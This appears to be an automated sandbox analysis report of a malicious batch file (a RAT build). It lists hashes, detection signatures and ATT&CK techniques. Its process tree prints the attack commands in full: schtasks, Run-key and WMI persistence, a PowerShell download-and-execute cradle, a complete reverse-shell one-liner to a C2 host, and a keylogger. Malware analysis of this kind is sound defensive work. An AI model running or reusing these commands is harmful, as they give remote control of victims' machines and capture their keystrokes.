Analysis
- max time kernel
149s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
29/05/2026, 01:34
Static task
static1
Behavioral task
behavioral1
Sample
rat_build_234267_014628.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
rat_build_234267_014628.bat
Resource
win11-20260513-en
General
- Target rat_build_234267_014628.bat
- Size 4KB
- Sample260529-bzcmdagv2r
- SHA256 92d6dee7e4f2bcefc333c5b3504777b20a284621a19d39d7994e6a63917fef90
- MD5 ed9feb7172b2c2376a139fc26e28ea5a
- SHA1 51a45c8e6ff9e666058f76a0e4c4d43f09553bcf
- SHA512 da1b5d4f875f1d4774b056aeb484de77f68e2d29666b62ed035dd85ca8fd496dbb7de1b00eae54013413470952a5e7d1776d96c03203013a2f4a81069b699d57
- SSDEEP 96:oI0nW0lelJlU3i0wqBnfblooUlV9kevzVCYd48ggSscCiFgZk8mvlo1KHTtDd:oq0lel+Bjloxg9UiFgkHlJztDd
- TLSH T1BBA1D8135B6F613089712518E9323C55079CDDFB3354C68EAB498FC41A8CE83D6796AB
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://payload.server/update_234267.ps1
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 2456 powershell.exe 1264 powershell.exe 4852 powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_234267 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_234267.bat" reg.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 4 checkip.amazonaws.com - Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
pid Process 4964 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 1056 systeminfo.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 2356 reg.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1268 schtasks.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 1264 powershell.exe 1264 powershell.exe 4852 powershell.exe 4852 powershell.exe 2456 powershell.exe 2456 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 804 WMIC.exe Token: SeSecurityPrivilege 804 WMIC.exe Token: SeTakeOwnershipPrivilege 804 WMIC.exe Token: SeLoadDriverPrivilege 804 WMIC.exe Token: SeSystemProfilePrivilege 804 WMIC.exe Token: SeSystemtimePrivilege 804 WMIC.exe Token: SeProfSingleProcessPrivilege 804 WMIC.exe Token: SeIncBasePriorityPrivilege 804 WMIC.exe Token: SeCreatePagefilePrivilege 804 WMIC.exe Token: SeBackupPrivilege 804 WMIC.exe Token: SeRestorePrivilege 804 WMIC.exe Token: SeShutdownPrivilege 804 WMIC.exe Token: SeDebugPrivilege 804 WMIC.exe Token: SeSystemEnvironmentPrivilege 804 WMIC.exe Token: SeRemoteShutdownPrivilege 804 WMIC.exe Token: SeUndockPrivilege 804 WMIC.exe Token: SeManageVolumePrivilege 804 WMIC.exe Token: 33 804 WMIC.exe Token: 34 804 WMIC.exe Token: 35 804 WMIC.exe Token: 36 804 WMIC.exe Token: SeIncreaseQuotaPrivilege 804 WMIC.exe Token: SeSecurityPrivilege 804 WMIC.exe Token: SeTakeOwnershipPrivilege 804 WMIC.exe Token: SeLoadDriverPrivilege 804 WMIC.exe Token: SeSystemProfilePrivilege 804 WMIC.exe Token: SeSystemtimePrivilege 804 WMIC.exe Token: SeProfSingleProcessPrivilege 804 WMIC.exe Token: SeIncBasePriorityPrivilege 804 WMIC.exe Token: SeCreatePagefilePrivilege 804 WMIC.exe Token: SeBackupPrivilege 804 WMIC.exe Token: SeRestorePrivilege 804 WMIC.exe Token: SeShutdownPrivilege 804 WMIC.exe Token: SeDebugPrivilege 804 WMIC.exe Token: SeSystemEnvironmentPrivilege 804 WMIC.exe Token: SeRemoteShutdownPrivilege 804 WMIC.exe Token: SeUndockPrivilege 804 WMIC.exe Token: SeManageVolumePrivilege 804 WMIC.exe Token: 33 804 WMIC.exe Token: 34 804 WMIC.exe Token: 35 804 WMIC.exe Token: 36 804 WMIC.exe Token: SeIncreaseQuotaPrivilege 3344 WMIC.exe Token: SeSecurityPrivilege 3344 WMIC.exe Token: SeTakeOwnershipPrivilege 3344 WMIC.exe Token: SeLoadDriverPrivilege 3344 WMIC.exe Token: SeSystemProfilePrivilege 3344 WMIC.exe Token: SeSystemtimePrivilege 3344 WMIC.exe Token: SeProfSingleProcessPrivilege 3344 WMIC.exe Token: SeIncBasePriorityPrivilege 3344 WMIC.exe Token: SeCreatePagefilePrivilege 3344 WMIC.exe Token: SeBackupPrivilege 3344 WMIC.exe Token: SeRestorePrivilege 3344 WMIC.exe Token: SeShutdownPrivilege 3344 WMIC.exe Token: SeDebugPrivilege 3344 WMIC.exe Token: SeSystemEnvironmentPrivilege 3344 WMIC.exe Token: SeRemoteShutdownPrivilege 3344 WMIC.exe Token: SeUndockPrivilege 3344 WMIC.exe Token: SeManageVolumePrivilege 3344 WMIC.exe Token: 33 3344 WMIC.exe Token: 34 3344 WMIC.exe Token: 35 3344 WMIC.exe Token: 36 3344 WMIC.exe Token: SeIncreaseQuotaPrivilege 3344 WMIC.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 4708 wrote to memory of 1268 4708 cmd.exe 88 PID 4708 wrote to memory of 2356 4708 cmd.exe 89 PID 4708 wrote to memory of 804 4708 cmd.exe 90 PID 4708 wrote to memory of 3344 4708 cmd.exe 91 PID 4708 wrote to memory of 2708 4708 cmd.exe 92 PID 4708 wrote to memory of 1056 4708 cmd.exe 95 PID 4708 wrote to memory of 4964 4708 cmd.exe 101 PID 4708 wrote to memory of 1264 4708 cmd.exe 102 PID 4708 wrote to memory of 4852 4708 cmd.exe 103 PID 4708 wrote to memory of 2456 4708 cmd.exe 105 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_234267_014628.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4708 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "WinUpdate_234267" /tr "C:\Users\Admin\AppData\Local\Temp\_234267.bat" /sc onlogon /ru "SYSTEM" /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:1268
-
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_234267" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_234267.bat" /f2⤵
- Adds Run key to start application
- Modifies registry key
PID:2356
-
-
C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_234267", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:804
-
-
C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_234267", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_234267.bat"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3344
-
-
C:\Windows\system32\curl.execurl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_234267.txt2⤵PID:2708
-
-
C:\Windows\system32\systeminfo.exesysteminfo2⤵
- Gathers system information
PID:1056
-
-
C:\Windows\system32\NETSTAT.EXEnetstat -an2⤵
- Gathers network information
PID:4964
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_234267.ps1'))"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1264
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4852
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2456
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 394832dfefa5e2e6204b60708a2ca33bb9d2f529664419bc050975f4b80faefe
- MD5 49e7d5f2a296b59afec08bc314bed998
- SHA1 7f898bf195ffd46ce2d19fad0ce33155f6e47f5f
- SHA512 f64579fdac0bfebad4c20ad575b8ea45136e295fba950da4cbf84402228a3897b2e2deb4eb4605deb5df93321b1dc15c8a878da36016d7e5e060182142fdf839
- TLSH T1CE51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 c436f0ef065a4cd1a9c8b409c595aa1bbaff7b2ed2be2500745f094e0a58f13a
- MD5 0c58e6527fc97ec93001c7bb6431e531
- SHA1 13553752551aadb87fd5b1e71fdc8c4b26d981d1
- SHA512 5f4691b52bad07b978be22fdf230dfff075f4f7529eaeb0d6871980e7f343245ef23c39dedfed023b9043405855be0fe491c38968d9a386aaa0d940867adf307
- TLSH T157117A27F3DC8921CC96113A409D9C5176B583DB81AEDF9FAFC4D214A07F584CB71294
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 479e30aab9aea527f35a883f9d2564454c5da1b0b512e00442931eee6dd7b4a0
- MD5 9b2bec72b86f9fd4436e8d351bc99cdd
- SHA1 630726346b61fcc2329944c935413d9f75b0c9cb
- SHA512 fdfa2395e0d8751aa13b8bb7fa4ab329f20445e435bb8b005083b3d86c5d8bd67977e74d3b8b6f31a4b1f4d52aeeafc8e568d2c21ede254f18f55c730821629e
- TLSH T1A6115727B39C89A1CC96153A409D9C1172B683D7409EDEDF6BC0D214A17F584CB61190
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yadtwc3u.mas.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH